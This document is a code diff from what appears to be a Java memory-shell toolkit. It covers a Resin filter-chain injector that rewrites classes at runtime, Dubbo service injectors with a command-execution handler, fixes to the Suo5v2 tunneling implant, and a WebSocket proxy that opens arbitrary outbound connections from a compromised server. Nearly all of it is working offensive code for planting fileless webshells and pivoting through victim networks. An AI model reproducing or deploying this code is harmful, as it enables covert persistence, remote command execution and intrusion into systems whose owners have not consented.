LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
|
||||||
|
addProtocols(linkedHashMap, collection);
|
||||||
|
addProtocols(linkedHashMap, collection2);
|
||||||
|
return new ArrayList<>(linkedHashMap.values());
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
|
||||||
|
if (collection == null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for (ProtocolConfig protocolConfig : collection) {
|
||||||
|
if (protocolConfig != null) {
|
||||||
|
map.put(protocolKey(protocolConfig), protocolConfig);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String protocolKey(ProtocolConfig protocolConfig) {
|
||||||
|
return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getErrorMessage(Throwable th) {
|
||||||
|
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
|
||||||
|
PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
|
||||||
|
th.printStackTrace(printStream);
|
||||||
|
return byteArrayOutputStream.toString();
|
||||||
|
} catch (IOException e) {
|
||||||
|
return String.valueOf(th);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+26
-20
@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2025/3/26
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
private static final String[] TARGET_CLASSES = new String[]{
|
||||||
|
"com/caucho/server/http/FilterChainFilter",
|
||||||
|
"com/caucho/server/dispatch/FilterFilterChain",
|
||||||
|
};
|
||||||
public static String getClassName() {
|
public static String getClassName() {
|
||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
@@ -38,8 +40,10 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -48,22 +52,24 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASS.equals(className)) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
defineTargetClass(loader);
|
if (className.equals(targetClass)) {
|
||||||
try {
|
defineTargetClass(loader);
|
||||||
ClassReader cr = new ClassReader(bytes);
|
try {
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
ClassReader cr = new ClassReader(bytes);
|
||||||
@Override
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
protected ClassLoader getClassLoader() {
|
@Override
|
||||||
return loader;
|
protected ClassLoader getClassLoader() {
|
||||||
}
|
return loader;
|
||||||
};
|
}
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
};
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
return cw.toByteArray();
|
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
} catch (Exception e) {
|
return cw.toByteArray();
|
||||||
e.printStackTrace();
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return bytes;
|
return bytes;
|
||||||
|
|||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.memshell.server;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.injector.dubbo.AlibabaDubboServiceInjector;
|
||||||
|
import com.reajason.javaweb.memshell.injector.dubbo.ApacheDubboServiceInjector;
|
||||||
|
|
||||||
|
public class Dubbo extends AbstractServer {
|
||||||
|
@Override
|
||||||
|
public InjectorMapping getShellInjectorMapping() {
|
||||||
|
return InjectorMapping.builder()
|
||||||
|
.addInjector(ShellType.APACHE_DUBBO_SERVICE, ApacheDubboServiceInjector.class)
|
||||||
|
.addInjector(ShellType.ALIBABA_DUBBO_SERVICE, AlibabaDubboServiceInjector.class)
|
||||||
|
.build();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool;
|
||||||
|
|
||||||
|
public interface ShellDubboService {
|
||||||
|
byte[] handle(byte[] bytes);
|
||||||
|
}
|
||||||
+75
@@ -0,0 +1,75 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
public class CommandDubboService {
|
||||||
|
|
||||||
|
public byte[] handle(byte[] bytes) {
|
||||||
|
if (bytes == null || bytes.length == 0) {
|
||||||
|
return new byte[0];
|
||||||
|
}
|
||||||
|
String p = new String(bytes);
|
||||||
|
String param = getParam(p);
|
||||||
|
try {
|
||||||
|
InputStream inputStream = getInputStream(param);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
return getErrorMessage(e).getBytes();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String getParam(String param) {
|
||||||
|
return param;
|
||||||
|
}
|
||||||
|
|
||||||
|
private InputStream getInputStream(String param) throws Exception {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public Object unwrap(Object obj, String fieldName) {
|
||||||
|
try {
|
||||||
|
return getFieldValue(obj, fieldName);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
return obj;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+25
-14
@@ -248,8 +248,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
baos.write(bodyContent);
|
baos.write(bodyContent);
|
||||||
byte[] newBody = baos.toByteArray();
|
byte[] newBody = baos.toByteArray();
|
||||||
conn = redirect(req, new String(redirectData), newBody);
|
conn = redirect(req, new String(redirectData), newBody);
|
||||||
|
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
|
||||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
pipeStream(conn.getInputStream(), out, false);
|
pipeStream(conn.getInputStream(), out, resp, false);
|
||||||
} finally {
|
} finally {
|
||||||
if (conn != null) {
|
if (conn != null) {
|
||||||
conn.disconnect();
|
conn.disconnect();
|
||||||
@@ -346,11 +347,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
|
|
||||||
Thread t = null;
|
Thread t = null;
|
||||||
boolean sendClose = true;
|
boolean sendClose = true;
|
||||||
|
final OutputStream scOutStream = socket.getOutputStream();
|
||||||
|
final InputStream scInStream = socket.getInputStream();
|
||||||
|
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
try {
|
try {
|
||||||
final OutputStream scOutStream = socket.getOutputStream();
|
|
||||||
final InputStream scInStream = socket.getInputStream();
|
|
||||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
|
||||||
|
|
||||||
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
||||||
t = new Thread(p);
|
t = new Thread(p);
|
||||||
t.start();
|
t.start();
|
||||||
@@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
if (!sc.isConnected()) {
|
if (!sc.isOpen()) {
|
||||||
throw new IOException("socket not connected");
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] data = (byte[]) dataMap.get("dt");
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
@@ -563,9 +563,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
if (!sc.isConnected()) {
|
|
||||||
throw new IOException("socket not connected");
|
|
||||||
}
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
||||||
int maxSize = 512 * 1024; // 1MB
|
int maxSize = 512 * 1024; // 1MB
|
||||||
@@ -582,6 +579,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
break; // no more data
|
break; // no more data
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (!sc.isOpen() && readQueue.isEmpty()) {
|
||||||
|
performDelete(tunId);
|
||||||
|
baos.write(marshalBase64(newDel(tunId)));
|
||||||
|
}
|
||||||
return baos.toByteArray();
|
return baos.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -610,7 +611,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
return port;
|
return port;
|
||||||
}
|
}
|
||||||
|
|
||||||
private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
|
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
|
||||||
try {
|
try {
|
||||||
byte[] readBuf = new byte[1024 * 8];
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
while (true) {
|
while (true) {
|
||||||
@@ -624,6 +625,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
outputStream.write(dataTmp);
|
outputStream.write(dataTmp);
|
||||||
outputStream.flush();
|
outputStream.flush();
|
||||||
|
if (resp != null) {
|
||||||
|
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
// don't close outputStream
|
// don't close outputStream
|
||||||
@@ -1031,7 +1035,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
// full stream
|
// full stream
|
||||||
if (this.mode == 0) {
|
if (this.mode == 0) {
|
||||||
try {
|
try {
|
||||||
pipeStream(gInStream, gOutStream, true);
|
pipeStream(gInStream, gOutStream, null, true);
|
||||||
} catch (Exception ignore) {
|
} catch (Exception ignore) {
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
@@ -1065,10 +1069,17 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
// write thread
|
// write thread
|
||||||
while (true) {
|
while (true) {
|
||||||
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
||||||
if (data == null || data.length == 0) {
|
if (data == null) {
|
||||||
selfClean = true;
|
selfClean = true;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
if (data.length == 0) {
|
||||||
|
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
|
||||||
|
if (signal == null) {
|
||||||
|
selfClean = true;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
ByteBuffer buf = ByteBuffer.wrap(data);
|
ByteBuffer buf = ByteBuffer.wrap(data);
|
||||||
while (buf.hasRemaining()) {
|
while (buf.hasRemaining()) {
|
||||||
sc.write(buf);
|
sc.write(buf);
|
||||||
@@ -1080,8 +1091,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (selfClean) {
|
if (selfClean) {
|
||||||
|
|
||||||
removeKey(this.gtunId);
|
removeKey(this.gtunId);
|
||||||
|
readQueue.clear();
|
||||||
}
|
}
|
||||||
readQueue.clear();
|
|
||||||
writeQueue.clear();
|
writeQueue.clear();
|
||||||
try {
|
try {
|
||||||
writeQueue.put(new byte[0]);
|
writeQueue.put(new byte[0]);
|
||||||
|
|||||||
+33
-1035
File diff suppressed because it is too large
Load Diff
+47
-1046
File diff suppressed because it is too large
Load Diff
+34
-1035
File diff suppressed because it is too large
Load Diff
+37
-1057
File diff suppressed because it is too large
Load Diff
+35
-1029
File diff suppressed because it is too large
Load Diff
+34
-1036
File diff suppressed because it is too large
Load Diff
+33
-1034
File diff suppressed because it is too large
Load Diff
+40
-1036
File diff suppressed because it is too large
Load Diff
+35
-1030
File diff suppressed because it is too large
Load Diff
+34
-1037
File diff suppressed because it is too large
Load Diff
+4
-6
@@ -5,6 +5,7 @@ import org.apache.catalina.connector.Request;
|
|||||||
import org.apache.catalina.connector.Response;
|
import org.apache.catalina.connector.Response;
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
import javax.servlet.ServletException;
|
||||||
|
import javax.websocket.server.ServerContainer;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -29,19 +30,16 @@ public class TomcatWsBypassValve implements Valve {
|
|||||||
} else {
|
} else {
|
||||||
path = request.getServletPath() + pathInfo;
|
path = request.getServletPath() + pathInfo;
|
||||||
}
|
}
|
||||||
Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
|
Object sc = request.getServletContext().getAttribute(ServerContainer.class.getName());
|
||||||
if (sc == null) {
|
|
||||||
sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
|
|
||||||
}
|
|
||||||
if (sc == null) {
|
if (sc == null) {
|
||||||
throw new ServletException("Server container not found");
|
throw new ServletException("Server container not found");
|
||||||
}
|
}
|
||||||
addHeader(request, "Connection", "upgrade");
|
|
||||||
addHeader(request, "Upgrade", "websocket");
|
|
||||||
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
|
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
|
||||||
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
|
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
|
||||||
for (Method method : upgradeUtil.getMethods()) {
|
for (Method method : upgradeUtil.getMethods()) {
|
||||||
if ("doUpgrade".equals(method.getName())) {
|
if ("doUpgrade".equals(method.getName())) {
|
||||||
|
addHeader(request, "Connection", "upgrade");
|
||||||
|
addHeader(request, "Upgrade", "websocket");
|
||||||
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
|
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+90
-66
@@ -4,12 +4,11 @@ import javax.websocket.Endpoint;
|
|||||||
import javax.websocket.EndpointConfig;
|
import javax.websocket.EndpointConfig;
|
||||||
import javax.websocket.MessageHandler;
|
import javax.websocket.MessageHandler;
|
||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
import java.io.ByteArrayOutputStream;
|
import javax.websocket.CloseReason;
|
||||||
import java.net.InetSocketAddress;
|
import java.net.InetSocketAddress;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.AsynchronousSocketChannel;
|
import java.nio.channels.AsynchronousSocketChannel;
|
||||||
import java.nio.channels.CompletionHandler;
|
import java.nio.channels.CompletionHandler;
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.concurrent.Future;
|
import java.util.concurrent.Future;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|
||||||
@@ -21,89 +20,114 @@ public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<Byt
|
|||||||
private Session session;
|
private Session session;
|
||||||
private long messageCount = 0;
|
private long messageCount = 0;
|
||||||
private AsynchronousSocketChannel currentClient = null;
|
private AsynchronousSocketChannel currentClient = null;
|
||||||
private final ByteBuffer buffer = ByteBuffer.allocate(102400);
|
private final ByteBuffer buffer = ByteBuffer.allocate(32768);
|
||||||
private ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
|
||||||
private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
|
|
||||||
|
|
||||||
public ProxyWebSocket() {
|
public ProxyWebSocket() {
|
||||||
}
|
}
|
||||||
|
|
||||||
public void completed(Integer result, Session attachment) {
|
@Override
|
||||||
buffer.clear();
|
public void onOpen(Session session, EndpointConfig endpointConfig) {
|
||||||
|
this.messageCount = 0;
|
||||||
|
this.session = session;
|
||||||
|
session.addMessageHandler(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readFromServer() {
|
||||||
|
if (currentClient != null && currentClient.isOpen() && session.isOpen()) {
|
||||||
|
buffer.clear();
|
||||||
|
currentClient.read(buffer, session, this);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onMessage(ByteBuffer message) {
|
||||||
try {
|
try {
|
||||||
if (buffer.hasRemaining() && result >= 0) {
|
messageCount++;
|
||||||
byte[] arr = new byte[result];
|
process(message, session);
|
||||||
buffer.get(arr, 0, result);
|
} catch (Exception e) {
|
||||||
baos.write(arr, 0, result);
|
closeQuietly();
|
||||||
ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
|
}
|
||||||
if (attachment.isOpen()) {
|
}
|
||||||
attachment.getBasicRemote().sendBinary(response);
|
|
||||||
|
private void process(ByteBuffer messageBuffer, Session channel) {
|
||||||
|
try {
|
||||||
|
if (messageCount > 1 && currentClient != null && currentClient.isOpen()) {
|
||||||
|
currentClient.write(messageBuffer).get();
|
||||||
|
} else if (messageCount == 1) {
|
||||||
|
byte[] bytes = new byte[messageBuffer.remaining()];
|
||||||
|
messageBuffer.get(bytes);
|
||||||
|
String values = new String(bytes);
|
||||||
|
|
||||||
|
String[] array = values.split(" ");
|
||||||
|
if (array.length < 2) return;
|
||||||
|
String[] addrArray = array[1].split(":");
|
||||||
|
|
||||||
|
currentClient = AsynchronousSocketChannel.open();
|
||||||
|
int port = Integer.parseInt(addrArray[1]);
|
||||||
|
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
|
||||||
|
|
||||||
|
Future<Void> future = currentClient.connect(hostAddress);
|
||||||
|
try {
|
||||||
|
future.get(10, TimeUnit.SECONDS);
|
||||||
|
} catch (Exception e) {
|
||||||
|
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
|
||||||
|
closeQuietly();
|
||||||
|
return;
|
||||||
}
|
}
|
||||||
baos = new ByteArrayOutputStream();
|
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
|
||||||
readFromServer(attachment, currentClient);
|
readFromServer();
|
||||||
} else {
|
}
|
||||||
if (result > 0) {
|
} catch (Exception e) {
|
||||||
byte[] arr = new byte[result];
|
closeQuietly();
|
||||||
buffer.get(arr, 0, result);
|
}
|
||||||
baos.write(arr, 0, result);
|
}
|
||||||
readFromServer(attachment, currentClient);
|
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void completed(Integer result, Session attachment) {
|
||||||
|
if (result == -1) {
|
||||||
|
closeQuietly();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (result > 0) {
|
||||||
|
buffer.flip();
|
||||||
|
if (attachment.isOpen()) {
|
||||||
|
attachment.getBasicRemote().sendBinary(buffer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
readFromServer();
|
||||||
|
} catch (Exception e) {
|
||||||
|
closeQuietly();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void failed(Throwable exc, Session attachment) {
|
public void failed(Throwable exc, Session attachment) {
|
||||||
exc.printStackTrace();
|
closeQuietly();
|
||||||
}
|
}
|
||||||
|
|
||||||
public void onMessage(ByteBuffer message) {
|
@Override
|
||||||
|
public void onClose(Session session, CloseReason closeReason) {
|
||||||
|
closeQuietly();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onError(Session session, Throwable thr) {
|
||||||
|
closeQuietly();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void closeQuietly() {
|
||||||
try {
|
try {
|
||||||
message.clear();
|
if (currentClient != null && currentClient.isOpen()) {
|
||||||
messageCount++;
|
currentClient.close();
|
||||||
process(message, session);
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
public void onOpen(Session session, EndpointConfig endpointConfig) {
|
|
||||||
this.messageCount = 0;
|
|
||||||
this.session = session;
|
|
||||||
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
|
|
||||||
session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
|
|
||||||
session.addMessageHandler(this);
|
|
||||||
}
|
|
||||||
|
|
||||||
private void readFromServer(Session channel, AsynchronousSocketChannel client) {
|
|
||||||
this.currentClient = client;
|
|
||||||
buffer.clear();
|
|
||||||
client.read(buffer, channel, this);
|
|
||||||
}
|
|
||||||
|
|
||||||
private void process(ByteBuffer messageBuffer, Session channel) {
|
|
||||||
try {
|
try {
|
||||||
if (messageCount > 1) {
|
if (session != null && session.isOpen()) {
|
||||||
AsynchronousSocketChannel client = channelMap.get(channel.getId());
|
session.close();
|
||||||
client.write(messageBuffer).get();
|
|
||||||
readFromServer(channel, client);
|
|
||||||
} else if (messageCount == 1) {
|
|
||||||
String values = new String(messageBuffer.array());
|
|
||||||
String[] array = values.split(" ");
|
|
||||||
String[] addrArray = array[1].split(":");
|
|
||||||
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
|
|
||||||
int port = Integer.parseInt(addrArray[1]);
|
|
||||||
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
|
|
||||||
Future<Void> future = client.connect(hostAddress);
|
|
||||||
try {
|
|
||||||
future.get(10, TimeUnit.SECONDS);
|
|
||||||
} catch (Exception ignored) {
|
|
||||||
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
channelMap.put(channel.getId(), client);
|
|
||||||
readFromServer(channel, client);
|
|
||||||
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
|
|
||||||
}
|
}
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -145,7 +145,7 @@ public class CommonUtil {
|
|||||||
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getSimpleName(String injectorClassName) {
|
public static String getSimpleName(String className) {
|
||||||
return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1);
|
return className.substring(className.lastIndexOf(".") + 1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
package org.apache.catalina;
|
|
||||||
|
|
||||||
import org.apache.catalina.connector.Request;
|
|
||||||
import org.apache.catalina.connector.Response;
|
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
|
||||||
import java.io.IOException;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/27
|
|
||||||
*/
|
|
||||||
public interface Valve {
|
|
||||||
|
|
||||||
public Valve getNext();
|
|
||||||
|
|
||||||
public void setNext(Valve valve);
|
|
||||||
|
|
||||||
public void backgroundProcess();
|
|
||||||
|
|
||||||
public void invoke(Request request, Response response)
|
|
||||||
throws IOException, ServletException;
|
|
||||||
|
|
||||||
public boolean isAsyncSupported();
|
|
||||||
}
|
|
||||||
@@ -1,349 +0,0 @@
|
|||||||
package org.apache.catalina.connector;
|
|
||||||
|
|
||||||
import javax.servlet.*;
|
|
||||||
import javax.servlet.http.*;
|
|
||||||
import java.io.BufferedReader;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.UnsupportedEncodingException;
|
|
||||||
import java.security.Principal;
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/27
|
|
||||||
*/
|
|
||||||
public class Request implements HttpServletRequest {
|
|
||||||
@Override
|
|
||||||
public String getAuthType() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Cookie[] getCookies() {
|
|
||||||
return new Cookie[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public long getDateHeader(String name) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getHeader(String name) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Enumeration<String> getHeaders(String name) {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public Enumeration<String> getHeaderNames() {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public int getIntHeader(String name) {
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getMethod() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getPathInfo() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getPathTranslated() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String getContextPath() {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
